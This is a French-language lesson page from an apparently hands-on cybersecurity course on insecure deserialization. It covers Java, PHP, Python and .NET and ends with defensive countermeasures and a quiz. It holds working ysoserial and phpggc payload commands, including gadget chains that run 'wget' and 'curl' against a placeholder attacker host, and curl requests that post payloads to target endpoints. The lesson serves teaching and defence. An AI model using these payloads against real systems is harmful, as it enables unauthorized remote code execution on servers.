Attaques de désérialisation

Transformez des données innocentes en exécution de code à distance

Injection d'objets Chaînes de gadgets Exploitation RCE

Ce que vous allez découvrir

🎯 Pourquoi c'est important

Les vulnérabilités de désérialisation représentent certaines des failles de sécurité les plus dévastatrices dans les applications d'entreprise, fournissant souvent une exécution de code à distance immédiate avec une interaction utilisateur minimale. Ces vulnérabilités affectent pratiquement tous les langages de programmation et frameworks qui gèrent des données sérialisées.

🔍 Ce que vous allez apprendre

Vous maîtriserez l'approche systématique pour identifier et exploiter la désérialisation non sécurisée sur plusieurs plateformes incluant Java (ysoserial), PHP (phpggc), Python et .NET.

🚀 Votre première victoire

Dans les 25 prochaines minutes, vous exploiterez avec succès une vulnérabilité de désérialisation Java pour obtenir l'exécution de code à distance en utilisant ysoserial.

🔧 Essayez ceci maintenant

Comprenez pourquoi la sérialisation Java est reconnaissable et créez votre premier payload de détection

# Comprendre le nombre magique de sérialisation Java
echo -en '\xac\xed\x00\x05' | xxd
# Sortie : 00000000: aced 0005

# Télécharger ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Créer un payload de détection sûr
java -jar ysoserial-all.jar URLDNS "http://<attacker>/ping-test" > detection.ser

# Tester contre un endpoint
curl -X POST -H "Content-Type: application/x-java-serialized-object" \
     --data-binary @detection.ser http://<target>/upload

Vous verrez : Comment les octets magiques aced0005 font accepter votre payload par les applications Java.

Compétences que vous maîtriserez

✅ Compréhension fondamentale

  • Identification des formats de sérialisation
  • Mécanismes d'injection d'objets
  • Théorie des chaînes de gadgets
  • Génération automatisée de payloads

🔍 Compétences expertes

  • Utilisation avancée de ysoserial et phpggc
  • Développement de chaînes de gadgets
  • Techniques de contournement WAF
  • Exploitation aveugle

Comprendre les vulnérabilités de désérialisation

Les attaques de désérialisation exploitent le processus de reconstruction d'objets pour exécuter du code malveillant

Les vulnérabilités de désérialisation se produisent lorsque les applications acceptent et traitent des objets sérialisés provenant de sources non fiables sans validation appropriée.

Comment la désérialisation crée des opportunités d'attaque

Le danger réside dans l'exécution automatique de code pendant la reconstruction des objets. Le modèle de vulnérabilité combine trois facteurs : données non fiables, méthodes non sécurisées, et classes exploitables dans l'environnement.

Vecteurs d'attaque courants

Données HTTP, cookies, sessions
Files de messages, cache, APIs
Téléchargement de fichiers

Risques par plateforme

Java: ObjectInputStream, RMI, JMS
PHP: unserialize(), sessions
Python: modules de sérialisation
.NET: BinaryFormatter

Outils et techniques

ysoserial : exploitation Java

ysoserial automatise la création de payloads Java malveillants. Dépôt GitHub

# Télécharger ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Lister les chaînes de gadgets
java -jar ysoserial-all.jar 2>&1 | grep "^     "

# CommonsCollections1
java -jar ysoserial-all.jar CommonsCollections1 'wget http://<attacker>/test'

# URLDNS pour détection
java -jar ysoserial-all.jar URLDNS "http://<attacker>/dns-test"

# Exploitation HTTP
curl -X POST -H "Content-Type: application/x-java-serialized-object" \
     --data-binary @payload.ser http://<target>/deserialize

phpggc : injection PHP

phpggc exploite les méthodes magiques PHP. Dépôt GitHub

# Installer phpggc
git clone https://github.com/ambionics/phpggc.git

# Lister les gadgets
./phpggc -l

# Laravel/RCE1
./phpggc Laravel/RCE1 "whoami"

# Base64 pour HTTP
./phpggc Laravel/RCE1 "curl http://<attacker>/callback" -b

Exploitation Python

Les modules de sérialisation Python permettent l'exécution de code via la méthode __reduce__ lors de la désérialisation.

Points d'injection courants : sessions Flask, cache Django, APIs ML/data science.

Scénarios réels

JBoss (CVE-2015-7501)

Vulnérabilité critique dans JMXInvokerServlet. CVE-2015-7501

WebLogic (CVE-2015-4852)

Vulnérabilité dans le protocole T3. CVE-2015-4852

Apache Solr (CVE-2017-12629)

RCE via RunExecutableListener. CVE-2017-12629

Contre-mesures défensives

Défense principale

  • Formats sûrs - JSON ou XML au lieu de sérialisation binaire
  • DTOs - Objets de transfert simples
  • APIs définies - Échange via APIs structurées
  • Validation stricte - Schémas et listes blanches

Stratégies avancées

  • Liste blanche de types
  • Signatures cryptographiques
  • Sandboxing
  • Surveillance réseau

🎯 Vous maîtrisez l'exploitation de désérialisation !

Vous comprenez comment exploiter la désérialisation sur plusieurs plateformes pour obtenir une exécution de code à distance.

Injection d'objets Chaînes de gadgets Maîtrise ysoserial RCE d'entreprise Architecture sécurisée

Prêt à diriger l'architecture de sécurité d'entreprise

Validation des Connaissances

Démontrez votre compréhension pour gagner des points et progresser

1
Question du Chapitre

Vous avez découvert une application Java qui désérialise les entrées utilisateur avec ObjectInputStream. L'application a Apache Commons Collections 3.2.1 dans son classpath. Créez une commande de payload ysoserial pour exécuter 'whoami' en utilisant la chaîne de gadgets CommonsCollections1.

1
Lire
2
Valider
3
Terminer

Prêt à suivre votre progression?

Créez un compte gratuit pour sauvegarder votre progression, gagner des points et accéder à plus de 170 labs pratiques de cybersécurité.

Commencer à Apprendre Gratuitement
Rejoignez 5 000+ hackers qui apprennent la cybersécurité avec des labs pratiques. Créer un Compte